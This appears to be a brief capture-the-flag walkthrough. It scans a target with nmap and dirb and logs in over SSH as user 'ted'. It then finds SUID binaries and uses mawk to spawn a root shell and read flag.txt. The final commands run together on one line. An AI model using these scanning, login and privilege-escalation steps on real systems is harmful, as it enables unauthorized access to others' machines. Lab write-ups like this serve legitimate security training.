Running nmap -p0-65535 <ipaddr> tells us ssh & http are open.
Run a dirb scan while you’re looking through the source code of the website (http://[IP Address]): dirb http://<ipaddr>
From there we can use the secure shell host protocol, 22, to login - ssh ted@<ipaddr> , enter “yes” & password.
Once you’re in, use pwd to “print working directory”, & whoami to output the user you are logged in as.
find / -perm -u=s -type f 2>/dev/nullmawk 'BEGIN {system("/bin/sh")}'cd root; cat flag.txt